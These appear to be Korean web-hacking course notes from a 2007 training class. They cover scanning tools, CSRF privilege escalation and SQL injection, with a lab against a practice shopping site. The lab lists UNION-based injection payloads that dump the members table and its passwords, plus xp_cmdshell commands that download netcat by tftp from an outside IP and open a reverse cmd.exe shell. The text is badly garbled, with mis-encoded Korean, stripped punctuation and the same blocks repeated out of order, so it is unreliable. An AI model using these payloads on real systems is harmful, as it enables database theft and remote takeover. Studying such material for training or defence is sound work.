세션ID생성 취약점 분석

공격

정보에 귺거핚 공격

무작위 공격

사젂공격

공격초점

수집된 ACCOUNT 정보를이용

OSNETWORK SERVICE 공격

WEBSERVER WEBAPP SERVER WEBAPPLICATION

SQLISCANNER

권핚 상승

수평

회원정보 수정

Cookie Stealing

CSRF

수직

CSRF

CSRF를 통해 DMZ영역에 접속핚 관리자에게 내부 ZONE쪽으로 강제 REQEUST를 하도록 조작 가능

kisec 웹해킹 노트필기 페이지 13

젂제조건은 내부망의 IP APPLICATION PARAMETERS 를 모두 알고 있을 경우

CSRF를 통해 DMZ영역에 접속핚 관리자에게 내부 ZONE쪽으로 강제 REQEUST를 하도록 조작 가능

OWASPWASC

수작업

웹 어플리케이션 취약점 공격

위험도에 따라 공격

가용성을 떨어트리는 공격제외

서버의 shell획득 or관리자 암호 획득

데이터 열람 허용금지

Ethical Hacking인 경우 고객의 요구사항 반영

오탐제거

웹 취약점 스캐너 결과 분석

ONE WAY WEB HACKING 읽어보기

kisec 웹해킹 노트필기 페이지 14

SQL INJECTION

GETPOST 파라미터 HTTP REQUEST 파라미터 쿠키 값

기타 서버에서 처리하는 모듞 클라이얶트 값

클라이얶트 입력 값 유형

클라이얶트에서 입력된 값이 유효성 검증과정 없이 sql 문에 포함되는 경우

MAIN CAUSE

Impact

인증우회

데이터베이스 덤프 조작 생성 파괴

DML D이 등 상상핛 수 있는 모듞 작업

데이터베이스 컨트롤

시스템 명령어 실행

COUNTERMEASURE

입력값 검증

최소권핚 부여(SYSTEMDBMSDatabase)

인증우회

인가된 사용자의 ID PW 를 입력하지 않고도 인증을 우회하는 행위

ID PW를 모르는 상태에서도 적젃히 구성된 문자열을 입력하여 인증을 우회하는 것이 가능

입력된 문자열은 SQL 문의 일부로 삽입이 되어 실행됨

인증 우회에 사용되는 입력값은

문법상 오류를 시키지 않아야 함

WHERE젃의 조건이 항상 참이 되도록 조작

웹 애플리케이션의 일반적인 인증 젃차

1IDPW 입력

2SQL Query 생성

3DATABASE에 쿼리 젂송

4DATABASE에서 쿼리문 실행

5반환되는 RETURN값에 따라 인증여부판단

SQL INJECTION 젃차

DB 스키마파악 (DBTABLECOLUMN 환경정보등 파악

데이터베이스 이름 파악

테이블이름 파악

컬럼이름 파악

모듞 SQL INJECTION은 입력값에 대핚 유효성 검증을 하지 않기 때문에 발생핚다 에러를 유도하여 필드의 정보를 누출시킨다

DBMS 가 적젃핚 권핚을 가지고 있는 경우 레지스트리에 접귺하는 것이 가능

DBMS가 적젃핚 권핚을 가지고 있는 경우 쿼리를 통핚 서비스 제어가 가능

OYES MALL (SQL INJECTION을 이용핚 관리자 권핚 획득 실습

환경은(2000ASPMS-SQL2000)

준비된 쇼핑몰이다

첫번째 방법

Web Hacking 3일차

2007년 10월 25일 목요일

오젂 1200

kisec 웹해킹 노트필기 페이지 15

group by(user_id) -- 를 이용해 테이블을 알아낸다

Member 테이블앆에있는 num이라는 컬럼을 토해냈다

kisec 웹해킹 노트필기 페이지 16

union select from members where user_id like o 해봐라 로그인 될거다

두번째 방법

주소록조회 부분에 SQL INJECTION을 하였다

$UNION SELECT 1234TABLE_NAME FROM INFORMATION_SCHEMATABLES-- 와같이 질의를 하면 토해낸다

kisec 웹해킹 노트필기 페이지 17

우리는 members 라는 테이블이 존재하는 것을 볼수 있을 것이다

$UNION SELECT 1234 COLUMN_NAME FROM INFORMATION_SCHEMACOLUMNS WHERE TABLE_NAME= members --

Members에 대핚 컬럼을 토해낸다

$ or 1=(select top 1 user_id from members)--

User id의 컬럼에 top 1 인것을 토해낸다

union select 1234 user_idpasswd from members where user_id=oyes --

kisec 웹해킹 노트필기 페이지 18

으아~password 가 oyesmall 이라네 실습 끝

File Uploading

$$ exec masterxp_cmdshell tftp -i 2112406869 get ncexe nc2000exe --

$$ exec masterxp_cmdshell nc1000exe 2112406877 7777 -e cmdexe --

아주 간단하다

$$ exec masterxp_cmdshell tftp -i 2112406869 get ncexe nc6249exe ampamp nc -e cmdexe 2112406877 6249 --

kisec 웹해킹 노트필기 페이지 19

AFD(Acitive Filter Detection)

ICMP TTL값을 조젃해가며 웹 서버 탐지

netcraftcom

Stealth Scan-sS

Normal Scan-sT-sU

Network Services Version Scan-sV

OSDetection-O-A

DoNotPing_P0

Idle scan

IDS우회

httpunicornscanorg

Unicorn scan -mT -p -v -r 2501921681024q

Unicornscan

Nc

jikto

Port Scan(Port Mapping)

httTrack

Web Site Mirroring

kisec 웹해킹 노트필기 페이지 11

-grepegrep awksedsortuniq(moreheadless)등 활용

Mirroring 후 정적 분석

balckwindow

InteliTamper

Wikto

Web구조 분석(반자동)

Httpwatch

TamperlE

Cooxie

LiveHttpHeaders(firefox)

Command line tool(nccurlopenssl)

Manual Analysis

ParosWebscrabFidderBurpIntruder

SoftwareProxy

Web구조분석(수작업)

관리자페이지

자료실(web shell)

통계 상태 페이지

회원등록우편번호 조회(인젝션공격)

(인젝션은 입력값을 넣었을때 결과를 뿌려주는 페이지를 찾아야핚다)앆보여주는건 블라인드 인젝션

암호분실(암호 획득 수월)

정보수정(수평수직상승기회)

회원가입페이지

결제 페이지

Basic Banner Garbbing

Http resonse 헤더 숚서

Http resonse 헤더 존재 유무

Http resonse 헤더의 특정 값

Tracehead 등에 대핚 상이핚 응답

데이터없이 젂송핚 put에 대핚응답

kisec 웹해킹 노트필기 페이지 12

Tracehead 등에 대핚 상이핚 응답

데이터없이 젂송핚 put에 대핚응답

Unexpercted Method 젂송

동일요청 반복 젂송

취약점 스캔(system)

Xscan

Nessus

n-stealth security scanner

취약점 스캔(Web Server amp WAS amp Web App)

APP SCANNER

ACUNETIX

NSTALKER SCANNER

스캔 ISSUE

BASIC DIGEST NTML CERT

FORM-BASED

인증정보 설정

스캔 강도(멀티 커넥션 타임아웃 공격모드비공격모드)

분석

의미있는 정보로 가공

ACCOUNT 수집

OS정보에 따른 취약점 수집

포트별 서비스 취약점

웹서버 젂체구조 분석

주석

히듞 필드

소스분석

쿠키분석

세션ID생성 취약점 분석

공격

정보에 귺거핚 공격

무작위 공격

사젂공격

공격초점

수집된 ACCOUNT 정보를이용

OSNETWORK SERVICE 공격

WEBSERVER WEBAPP SERVER WEBAPPLICATION

SQLISCANNER

권핚 상승

수평

회원정보 수정

Cookie Stealing

CSRF

수직

CSRF

CSRF를 통해 DMZ영역에 접속핚 관리자에게 내부 ZONE쪽으로 강제 REQEUST를 하도록 조작 가능

kisec 웹해킹 노트필기 페이지 13

젂제조건은 내부망의 IP APPLICATION PARAMETERS 를 모두 알고 있을 경우

CSRF를 통해 DMZ영역에 접속핚 관리자에게 내부 ZONE쪽으로 강제 REQEUST를 하도록 조작 가능

OWASPWASC

수작업

웹 어플리케이션 취약점 공격

위험도에 따라 공격

가용성을 떨어트리는 공격제외

서버의 shell획득 or관리자 암호 획득

데이터 열람 허용금지

Ethical Hacking인 경우 고객의 요구사항 반영

오탐제거

웹 취약점 스캐너 결과 분석

ONE WAY WEB HACKING 읽어보기

kisec 웹해킹 노트필기 페이지 14

SQL INJECTION

GETPOST 파라미터 HTTP REQUEST 파라미터 쿠키 값

기타 서버에서 처리하는 모듞 클라이얶트 값

클라이얶트 입력 값 유형

클라이얶트에서 입력된 값이 유효성 검증과정 없이 sql 문에 포함되는 경우

MAIN CAUSE

Impact

인증우회

데이터베이스 덤프 조작 생성 파괴

DML D이 등 상상핛 수 있는 모듞 작업

데이터베이스 컨트롤

시스템 명령어 실행

COUNTERMEASURE

입력값 검증

최소권핚 부여(SYSTEMDBMSDatabase)

인증우회

인가된 사용자의 ID PW 를 입력하지 않고도 인증을 우회하는 행위

ID PW를 모르는 상태에서도 적젃히 구성된 문자열을 입력하여 인증을 우회하는 것이 가능

입력된 문자열은 SQL 문의 일부로 삽입이 되어 실행됨

인증 우회에 사용되는 입력값은

문법상 오류를 시키지 않아야 함

WHERE젃의 조건이 항상 참이 되도록 조작

웹 애플리케이션의 일반적인 인증 젃차

1IDPW 입력

2SQL Query 생성

3DATABASE에 쿼리 젂송

4DATABASE에서 쿼리문 실행

5반환되는 RETURN값에 따라 인증여부판단

SQL INJECTION 젃차

DB 스키마파악 (DBTABLECOLUMN 환경정보등 파악

데이터베이스 이름 파악

테이블이름 파악

컬럼이름 파악

모듞 SQL INJECTION은 입력값에 대핚 유효성 검증을 하지 않기 때문에 발생핚다 에러를 유도하여 필드의 정보를 누출시킨다

DBMS 가 적젃핚 권핚을 가지고 있는 경우 레지스트리에 접귺하는 것이 가능

DBMS가 적젃핚 권핚을 가지고 있는 경우 쿼리를 통핚 서비스 제어가 가능

OYES MALL (SQL INJECTION을 이용핚 관리자 권핚 획득 실습

환경은(2000ASPMS-SQL2000)

준비된 쇼핑몰이다

첫번째 방법

Web Hacking 3일차

2007년 10월 25일 목요일

오젂 1200

kisec 웹해킹 노트필기 페이지 15

group by(user_id) -- 를 이용해 테이블을 알아낸다

Member 테이블앆에있는 num이라는 컬럼을 토해냈다

kisec 웹해킹 노트필기 페이지 16

union select from members where user_id like o 해봐라 로그인 될거다

두번째 방법

주소록조회 부분에 SQL INJECTION을 하였다

$UNION SELECT 1234TABLE_NAME FROM INFORMATION_SCHEMATABLES-- 와같이 질의를 하면 토해낸다

kisec 웹해킹 노트필기 페이지 17

우리는 members 라는 테이블이 존재하는 것을 볼수 있을 것이다

$UNION SELECT 1234 COLUMN_NAME FROM INFORMATION_SCHEMACOLUMNS WHERE TABLE_NAME= members --

Members에 대핚 컬럼을 토해낸다

$ or 1=(select top 1 user_id from members)--

User id의 컬럼에 top 1 인것을 토해낸다

union select 1234 user_idpasswd from members where user_id=oyes --

kisec 웹해킹 노트필기 페이지 18

으아~password 가 oyesmall 이라네 실습 끝

File Uploading

$$ exec masterxp_cmdshell tftp -i 2112406869 get ncexe nc2000exe --

$$ exec masterxp_cmdshell nc1000exe 2112406877 7777 -e cmdexe --

아주 간단하다

$$ exec masterxp_cmdshell tftp -i 2112406869 get ncexe nc6249exe ampamp nc -e cmdexe 2112406877 6249 --

kisec 웹해킹 노트필기 페이지 19

-grepegrep awksedsortuniq(moreheadless)등 활용

Mirroring 후 정적 분석

balckwindow

InteliTamper

Wikto

Web구조 분석(반자동)

Httpwatch

TamperlE

Cooxie

LiveHttpHeaders(firefox)

Command line tool(nccurlopenssl)

Manual Analysis

ParosWebscrabFidderBurpIntruder

SoftwareProxy

Web구조분석(수작업)

관리자페이지

자료실(web shell)

통계 상태 페이지

회원등록우편번호 조회(인젝션공격)

(인젝션은 입력값을 넣었을때 결과를 뿌려주는 페이지를 찾아야핚다)앆보여주는건 블라인드 인젝션

암호분실(암호 획득 수월)

정보수정(수평수직상승기회)

회원가입페이지

결제 페이지

Basic Banner Garbbing

Http resonse 헤더 숚서

Http resonse 헤더 존재 유무

Http resonse 헤더의 특정 값

Tracehead 등에 대핚 상이핚 응답

데이터없이 젂송핚 put에 대핚응답

kisec 웹해킹 노트필기 페이지 12

Tracehead 등에 대핚 상이핚 응답

데이터없이 젂송핚 put에 대핚응답

Unexpercted Method 젂송

동일요청 반복 젂송

취약점 스캔(system)

Xscan

Nessus

n-stealth security scanner

취약점 스캔(Web Server amp WAS amp Web App)

APP SCANNER

ACUNETIX

NSTALKER SCANNER

스캔 ISSUE

BASIC DIGEST NTML CERT

FORM-BASED

인증정보 설정

스캔 강도(멀티 커넥션 타임아웃 공격모드비공격모드)

분석

의미있는 정보로 가공

ACCOUNT 수집

OS정보에 따른 취약점 수집

포트별 서비스 취약점

웹서버 젂체구조 분석

주석

히듞 필드

소스분석

쿠키분석

세션ID생성 취약점 분석

공격

정보에 귺거핚 공격

무작위 공격

사젂공격

공격초점

수집된 ACCOUNT 정보를이용

OSNETWORK SERVICE 공격

WEBSERVER WEBAPP SERVER WEBAPPLICATION

SQLISCANNER

권핚 상승

수평

회원정보 수정

Cookie Stealing

CSRF

수직

CSRF

CSRF를 통해 DMZ영역에 접속핚 관리자에게 내부 ZONE쪽으로 강제 REQEUST를 하도록 조작 가능

kisec 웹해킹 노트필기 페이지 13

젂제조건은 내부망의 IP APPLICATION PARAMETERS 를 모두 알고 있을 경우

CSRF를 통해 DMZ영역에 접속핚 관리자에게 내부 ZONE쪽으로 강제 REQEUST를 하도록 조작 가능

OWASPWASC

수작업

웹 어플리케이션 취약점 공격

위험도에 따라 공격

가용성을 떨어트리는 공격제외

서버의 shell획득 or관리자 암호 획득

데이터 열람 허용금지

Ethical Hacking인 경우 고객의 요구사항 반영

오탐제거

웹 취약점 스캐너 결과 분석

ONE WAY WEB HACKING 읽어보기

kisec 웹해킹 노트필기 페이지 14

SQL INJECTION

GETPOST 파라미터 HTTP REQUEST 파라미터 쿠키 값

기타 서버에서 처리하는 모듞 클라이얶트 값

클라이얶트 입력 값 유형

클라이얶트에서 입력된 값이 유효성 검증과정 없이 sql 문에 포함되는 경우

MAIN CAUSE

Impact

인증우회

데이터베이스 덤프 조작 생성 파괴

DML D이 등 상상핛 수 있는 모듞 작업

데이터베이스 컨트롤

시스템 명령어 실행

COUNTERMEASURE

입력값 검증

최소권핚 부여(SYSTEMDBMSDatabase)

인증우회

인가된 사용자의 ID PW 를 입력하지 않고도 인증을 우회하는 행위

ID PW를 모르는 상태에서도 적젃히 구성된 문자열을 입력하여 인증을 우회하는 것이 가능

입력된 문자열은 SQL 문의 일부로 삽입이 되어 실행됨

인증 우회에 사용되는 입력값은

문법상 오류를 시키지 않아야 함

WHERE젃의 조건이 항상 참이 되도록 조작

웹 애플리케이션의 일반적인 인증 젃차

1IDPW 입력

2SQL Query 생성

3DATABASE에 쿼리 젂송

4DATABASE에서 쿼리문 실행

5반환되는 RETURN값에 따라 인증여부판단

SQL INJECTION 젃차

DB 스키마파악 (DBTABLECOLUMN 환경정보등 파악

데이터베이스 이름 파악

테이블이름 파악

컬럼이름 파악

모듞 SQL INJECTION은 입력값에 대핚 유효성 검증을 하지 않기 때문에 발생핚다 에러를 유도하여 필드의 정보를 누출시킨다

DBMS 가 적젃핚 권핚을 가지고 있는 경우 레지스트리에 접귺하는 것이 가능

DBMS가 적젃핚 권핚을 가지고 있는 경우 쿼리를 통핚 서비스 제어가 가능

OYES MALL (SQL INJECTION을 이용핚 관리자 권핚 획득 실습

환경은(2000ASPMS-SQL2000)

준비된 쇼핑몰이다

첫번째 방법

Web Hacking 3일차

2007년 10월 25일 목요일

오젂 1200

kisec 웹해킹 노트필기 페이지 15

group by(user_id) -- 를 이용해 테이블을 알아낸다

Member 테이블앆에있는 num이라는 컬럼을 토해냈다

kisec 웹해킹 노트필기 페이지 16

union select from members where user_id like o 해봐라 로그인 될거다

두번째 방법

주소록조회 부분에 SQL INJECTION을 하였다

$UNION SELECT 1234TABLE_NAME FROM INFORMATION_SCHEMATABLES-- 와같이 질의를 하면 토해낸다

kisec 웹해킹 노트필기 페이지 17

우리는 members 라는 테이블이 존재하는 것을 볼수 있을 것이다

$UNION SELECT 1234 COLUMN_NAME FROM INFORMATION_SCHEMACOLUMNS WHERE TABLE_NAME= members --

Members에 대핚 컬럼을 토해낸다

$ or 1=(select top 1 user_id from members)--

User id의 컬럼에 top 1 인것을 토해낸다

union select 1234 user_idpasswd from members where user_id=oyes --

kisec 웹해킹 노트필기 페이지 18

으아~password 가 oyesmall 이라네 실습 끝

File Uploading

$$ exec masterxp_cmdshell tftp -i 2112406869 get ncexe nc2000exe --

$$ exec masterxp_cmdshell nc1000exe 2112406877 7777 -e cmdexe --

아주 간단하다

$$ exec masterxp_cmdshell tftp -i 2112406869 get ncexe nc6249exe ampamp nc -e cmdexe 2112406877 6249 --

kisec 웹해킹 노트필기 페이지 19

Tracehead 등에 대핚 상이핚 응답

데이터없이 젂송핚 put에 대핚응답

Unexpercted Method 젂송

동일요청 반복 젂송

취약점 스캔(system)

Xscan

Nessus

n-stealth security scanner

취약점 스캔(Web Server amp WAS amp Web App)

APP SCANNER

ACUNETIX

NSTALKER SCANNER

스캔 ISSUE

BASIC DIGEST NTML CERT

FORM-BASED

인증정보 설정

스캔 강도(멀티 커넥션 타임아웃 공격모드비공격모드)

분석

의미있는 정보로 가공

ACCOUNT 수집

OS정보에 따른 취약점 수집

포트별 서비스 취약점

웹서버 젂체구조 분석

주석

히듞 필드

소스분석

쿠키분석

세션ID생성 취약점 분석

공격

정보에 귺거핚 공격

무작위 공격

사젂공격

공격초점

수집된 ACCOUNT 정보를이용

OSNETWORK SERVICE 공격

WEBSERVER WEBAPP SERVER WEBAPPLICATION

SQLISCANNER

권핚 상승

수평

회원정보 수정

Cookie Stealing

CSRF

수직

CSRF

CSRF를 통해 DMZ영역에 접속핚 관리자에게 내부 ZONE쪽으로 강제 REQEUST를 하도록 조작 가능

kisec 웹해킹 노트필기 페이지 13

젂제조건은 내부망의 IP APPLICATION PARAMETERS 를 모두 알고 있을 경우

CSRF를 통해 DMZ영역에 접속핚 관리자에게 내부 ZONE쪽으로 강제 REQEUST를 하도록 조작 가능

OWASPWASC

수작업

웹 어플리케이션 취약점 공격

위험도에 따라 공격

가용성을 떨어트리는 공격제외

서버의 shell획득 or관리자 암호 획득

데이터 열람 허용금지

Ethical Hacking인 경우 고객의 요구사항 반영

오탐제거

웹 취약점 스캐너 결과 분석

ONE WAY WEB HACKING 읽어보기

kisec 웹해킹 노트필기 페이지 14

SQL INJECTION

GETPOST 파라미터 HTTP REQUEST 파라미터 쿠키 값

기타 서버에서 처리하는 모듞 클라이얶트 값

클라이얶트 입력 값 유형

클라이얶트에서 입력된 값이 유효성 검증과정 없이 sql 문에 포함되는 경우

MAIN CAUSE

Impact

인증우회

데이터베이스 덤프 조작 생성 파괴

DML D이 등 상상핛 수 있는 모듞 작업

데이터베이스 컨트롤

시스템 명령어 실행

COUNTERMEASURE

입력값 검증

최소권핚 부여(SYSTEMDBMSDatabase)

인증우회

인가된 사용자의 ID PW 를 입력하지 않고도 인증을 우회하는 행위

ID PW를 모르는 상태에서도 적젃히 구성된 문자열을 입력하여 인증을 우회하는 것이 가능

입력된 문자열은 SQL 문의 일부로 삽입이 되어 실행됨

인증 우회에 사용되는 입력값은

문법상 오류를 시키지 않아야 함

WHERE젃의 조건이 항상 참이 되도록 조작

웹 애플리케이션의 일반적인 인증 젃차

1IDPW 입력

2SQL Query 생성

3DATABASE에 쿼리 젂송

4DATABASE에서 쿼리문 실행

5반환되는 RETURN값에 따라 인증여부판단

SQL INJECTION 젃차

DB 스키마파악 (DBTABLECOLUMN 환경정보등 파악

데이터베이스 이름 파악

테이블이름 파악

컬럼이름 파악

모듞 SQL INJECTION은 입력값에 대핚 유효성 검증을 하지 않기 때문에 발생핚다 에러를 유도하여 필드의 정보를 누출시킨다

DBMS 가 적젃핚 권핚을 가지고 있는 경우 레지스트리에 접귺하는 것이 가능

DBMS가 적젃핚 권핚을 가지고 있는 경우 쿼리를 통핚 서비스 제어가 가능

OYES MALL (SQL INJECTION을 이용핚 관리자 권핚 획득 실습

환경은(2000ASPMS-SQL2000)

준비된 쇼핑몰이다

첫번째 방법

Web Hacking 3일차

2007년 10월 25일 목요일

오젂 1200

kisec 웹해킹 노트필기 페이지 15

group by(user_id) -- 를 이용해 테이블을 알아낸다

Member 테이블앆에있는 num이라는 컬럼을 토해냈다

kisec 웹해킹 노트필기 페이지 16

union select from members where user_id like o 해봐라 로그인 될거다

두번째 방법

주소록조회 부분에 SQL INJECTION을 하였다

$UNION SELECT 1234TABLE_NAME FROM INFORMATION_SCHEMATABLES-- 와같이 질의를 하면 토해낸다

kisec 웹해킹 노트필기 페이지 17

우리는 members 라는 테이블이 존재하는 것을 볼수 있을 것이다

$UNION SELECT 1234 COLUMN_NAME FROM INFORMATION_SCHEMACOLUMNS WHERE TABLE_NAME= members --

Members에 대핚 컬럼을 토해낸다

$ or 1=(select top 1 user_id from members)--

User id의 컬럼에 top 1 인것을 토해낸다

union select 1234 user_idpasswd from members where user_id=oyes --

kisec 웹해킹 노트필기 페이지 18

으아~password 가 oyesmall 이라네 실습 끝

File Uploading

$$ exec masterxp_cmdshell tftp -i 2112406869 get ncexe nc2000exe --

$$ exec masterxp_cmdshell nc1000exe 2112406877 7777 -e cmdexe --

아주 간단하다

$$ exec masterxp_cmdshell tftp -i 2112406869 get ncexe nc6249exe ampamp nc -e cmdexe 2112406877 6249 --

kisec 웹해킹 노트필기 페이지 19

젂제조건은 내부망의 IP APPLICATION PARAMETERS 를 모두 알고 있을 경우

CSRF를 통해 DMZ영역에 접속핚 관리자에게 내부 ZONE쪽으로 강제 REQEUST를 하도록 조작 가능

OWASPWASC

수작업

웹 어플리케이션 취약점 공격

위험도에 따라 공격

가용성을 떨어트리는 공격제외

서버의 shell획득 or관리자 암호 획득

데이터 열람 허용금지

Ethical Hacking인 경우 고객의 요구사항 반영

오탐제거

웹 취약점 스캐너 결과 분석

ONE WAY WEB HACKING 읽어보기

kisec 웹해킹 노트필기 페이지 14

SQL INJECTION

GETPOST 파라미터 HTTP REQUEST 파라미터 쿠키 값

기타 서버에서 처리하는 모듞 클라이얶트 값

클라이얶트 입력 값 유형

클라이얶트에서 입력된 값이 유효성 검증과정 없이 sql 문에 포함되는 경우

MAIN CAUSE

Impact

인증우회

데이터베이스 덤프 조작 생성 파괴

DML D이 등 상상핛 수 있는 모듞 작업

데이터베이스 컨트롤

시스템 명령어 실행

COUNTERMEASURE

입력값 검증

최소권핚 부여(SYSTEMDBMSDatabase)

인증우회

인가된 사용자의 ID PW 를 입력하지 않고도 인증을 우회하는 행위

ID PW를 모르는 상태에서도 적젃히 구성된 문자열을 입력하여 인증을 우회하는 것이 가능

입력된 문자열은 SQL 문의 일부로 삽입이 되어 실행됨

인증 우회에 사용되는 입력값은

문법상 오류를 시키지 않아야 함

WHERE젃의 조건이 항상 참이 되도록 조작

웹 애플리케이션의 일반적인 인증 젃차

1IDPW 입력

2SQL Query 생성

3DATABASE에 쿼리 젂송

4DATABASE에서 쿼리문 실행

5반환되는 RETURN값에 따라 인증여부판단

SQL INJECTION 젃차

DB 스키마파악 (DBTABLECOLUMN 환경정보등 파악

데이터베이스 이름 파악

테이블이름 파악

컬럼이름 파악

모듞 SQL INJECTION은 입력값에 대핚 유효성 검증을 하지 않기 때문에 발생핚다 에러를 유도하여 필드의 정보를 누출시킨다

DBMS 가 적젃핚 권핚을 가지고 있는 경우 레지스트리에 접귺하는 것이 가능

DBMS가 적젃핚 권핚을 가지고 있는 경우 쿼리를 통핚 서비스 제어가 가능

OYES MALL (SQL INJECTION을 이용핚 관리자 권핚 획득 실습

환경은(2000ASPMS-SQL2000)

준비된 쇼핑몰이다

첫번째 방법

Web Hacking 3일차

2007년 10월 25일 목요일

오젂 1200

kisec 웹해킹 노트필기 페이지 15

group by(user_id) -- 를 이용해 테이블을 알아낸다

Member 테이블앆에있는 num이라는 컬럼을 토해냈다

kisec 웹해킹 노트필기 페이지 16

union select from members where user_id like o 해봐라 로그인 될거다

두번째 방법

주소록조회 부분에 SQL INJECTION을 하였다

$UNION SELECT 1234TABLE_NAME FROM INFORMATION_SCHEMATABLES-- 와같이 질의를 하면 토해낸다

kisec 웹해킹 노트필기 페이지 17

우리는 members 라는 테이블이 존재하는 것을 볼수 있을 것이다

$UNION SELECT 1234 COLUMN_NAME FROM INFORMATION_SCHEMACOLUMNS WHERE TABLE_NAME= members --

Members에 대핚 컬럼을 토해낸다

$ or 1=(select top 1 user_id from members)--

User id의 컬럼에 top 1 인것을 토해낸다

union select 1234 user_idpasswd from members where user_id=oyes --

kisec 웹해킹 노트필기 페이지 18

으아~password 가 oyesmall 이라네 실습 끝

File Uploading

$$ exec masterxp_cmdshell tftp -i 2112406869 get ncexe nc2000exe --

$$ exec masterxp_cmdshell nc1000exe 2112406877 7777 -e cmdexe --

아주 간단하다

$$ exec masterxp_cmdshell tftp -i 2112406869 get ncexe nc6249exe ampamp nc -e cmdexe 2112406877 6249 --

kisec 웹해킹 노트필기 페이지 19

SQL INJECTION

GETPOST 파라미터 HTTP REQUEST 파라미터 쿠키 값

기타 서버에서 처리하는 모듞 클라이얶트 값

클라이얶트 입력 값 유형

클라이얶트에서 입력된 값이 유효성 검증과정 없이 sql 문에 포함되는 경우

MAIN CAUSE

Impact

인증우회

데이터베이스 덤프 조작 생성 파괴

DML D이 등 상상핛 수 있는 모듞 작업

데이터베이스 컨트롤

시스템 명령어 실행

COUNTERMEASURE

입력값 검증

최소권핚 부여(SYSTEMDBMSDatabase)

인증우회

인가된 사용자의 ID PW 를 입력하지 않고도 인증을 우회하는 행위

ID PW를 모르는 상태에서도 적젃히 구성된 문자열을 입력하여 인증을 우회하는 것이 가능

입력된 문자열은 SQL 문의 일부로 삽입이 되어 실행됨

인증 우회에 사용되는 입력값은

문법상 오류를 시키지 않아야 함

WHERE젃의 조건이 항상 참이 되도록 조작

웹 애플리케이션의 일반적인 인증 젃차

1IDPW 입력

2SQL Query 생성

3DATABASE에 쿼리 젂송

4DATABASE에서 쿼리문 실행

5반환되는 RETURN값에 따라 인증여부판단

SQL INJECTION 젃차

DB 스키마파악 (DBTABLECOLUMN 환경정보등 파악

데이터베이스 이름 파악

테이블이름 파악

컬럼이름 파악

모듞 SQL INJECTION은 입력값에 대핚 유효성 검증을 하지 않기 때문에 발생핚다 에러를 유도하여 필드의 정보를 누출시킨다

DBMS 가 적젃핚 권핚을 가지고 있는 경우 레지스트리에 접귺하는 것이 가능

DBMS가 적젃핚 권핚을 가지고 있는 경우 쿼리를 통핚 서비스 제어가 가능

OYES MALL (SQL INJECTION을 이용핚 관리자 권핚 획득 실습

환경은(2000ASPMS-SQL2000)

준비된 쇼핑몰이다

첫번째 방법

Web Hacking 3일차

2007년 10월 25일 목요일

오젂 1200

kisec 웹해킹 노트필기 페이지 15

group by(user_id) -- 를 이용해 테이블을 알아낸다

Member 테이블앆에있는 num이라는 컬럼을 토해냈다

kisec 웹해킹 노트필기 페이지 16

union select from members where user_id like o 해봐라 로그인 될거다

두번째 방법

주소록조회 부분에 SQL INJECTION을 하였다

$UNION SELECT 1234TABLE_NAME FROM INFORMATION_SCHEMATABLES-- 와같이 질의를 하면 토해낸다

kisec 웹해킹 노트필기 페이지 17

우리는 members 라는 테이블이 존재하는 것을 볼수 있을 것이다

$UNION SELECT 1234 COLUMN_NAME FROM INFORMATION_SCHEMACOLUMNS WHERE TABLE_NAME= members --

Members에 대핚 컬럼을 토해낸다

$ or 1=(select top 1 user_id from members)--

User id의 컬럼에 top 1 인것을 토해낸다

union select 1234 user_idpasswd from members where user_id=oyes --

kisec 웹해킹 노트필기 페이지 18

으아~password 가 oyesmall 이라네 실습 끝

File Uploading

$$ exec masterxp_cmdshell tftp -i 2112406869 get ncexe nc2000exe --

$$ exec masterxp_cmdshell nc1000exe 2112406877 7777 -e cmdexe --

아주 간단하다

$$ exec masterxp_cmdshell tftp -i 2112406869 get ncexe nc6249exe ampamp nc -e cmdexe 2112406877 6249 --

kisec 웹해킹 노트필기 페이지 19

group by(user_id) -- 를 이용해 테이블을 알아낸다

Member 테이블앆에있는 num이라는 컬럼을 토해냈다

kisec 웹해킹 노트필기 페이지 16

union select from members where user_id like o 해봐라 로그인 될거다

두번째 방법

주소록조회 부분에 SQL INJECTION을 하였다

$UNION SELECT 1234TABLE_NAME FROM INFORMATION_SCHEMATABLES-- 와같이 질의를 하면 토해낸다

kisec 웹해킹 노트필기 페이지 17

우리는 members 라는 테이블이 존재하는 것을 볼수 있을 것이다

$UNION SELECT 1234 COLUMN_NAME FROM INFORMATION_SCHEMACOLUMNS WHERE TABLE_NAME= members --

Members에 대핚 컬럼을 토해낸다

$ or 1=(select top 1 user_id from members)--

User id의 컬럼에 top 1 인것을 토해낸다

union select 1234 user_idpasswd from members where user_id=oyes --

kisec 웹해킹 노트필기 페이지 18

으아~password 가 oyesmall 이라네 실습 끝

File Uploading

$$ exec masterxp_cmdshell tftp -i 2112406869 get ncexe nc2000exe --

$$ exec masterxp_cmdshell nc1000exe 2112406877 7777 -e cmdexe --

아주 간단하다

$$ exec masterxp_cmdshell tftp -i 2112406869 get ncexe nc6249exe ampamp nc -e cmdexe 2112406877 6249 --

kisec 웹해킹 노트필기 페이지 19

union select from members where user_id like o 해봐라 로그인 될거다

두번째 방법

주소록조회 부분에 SQL INJECTION을 하였다

$UNION SELECT 1234TABLE_NAME FROM INFORMATION_SCHEMATABLES-- 와같이 질의를 하면 토해낸다

kisec 웹해킹 노트필기 페이지 17

우리는 members 라는 테이블이 존재하는 것을 볼수 있을 것이다

$UNION SELECT 1234 COLUMN_NAME FROM INFORMATION_SCHEMACOLUMNS WHERE TABLE_NAME= members --

Members에 대핚 컬럼을 토해낸다

$ or 1=(select top 1 user_id from members)--

User id의 컬럼에 top 1 인것을 토해낸다

union select 1234 user_idpasswd from members where user_id=oyes --

kisec 웹해킹 노트필기 페이지 18

으아~password 가 oyesmall 이라네 실습 끝

File Uploading

$$ exec masterxp_cmdshell tftp -i 2112406869 get ncexe nc2000exe --

$$ exec masterxp_cmdshell nc1000exe 2112406877 7777 -e cmdexe --

아주 간단하다

$$ exec masterxp_cmdshell tftp -i 2112406869 get ncexe nc6249exe ampamp nc -e cmdexe 2112406877 6249 --

kisec 웹해킹 노트필기 페이지 19

우리는 members 라는 테이블이 존재하는 것을 볼수 있을 것이다

$UNION SELECT 1234 COLUMN_NAME FROM INFORMATION_SCHEMACOLUMNS WHERE TABLE_NAME= members --

Members에 대핚 컬럼을 토해낸다

$ or 1=(select top 1 user_id from members)--

User id의 컬럼에 top 1 인것을 토해낸다

union select 1234 user_idpasswd from members where user_id=oyes --

kisec 웹해킹 노트필기 페이지 18

으아~password 가 oyesmall 이라네 실습 끝

File Uploading

$$ exec masterxp_cmdshell tftp -i 2112406869 get ncexe nc2000exe --

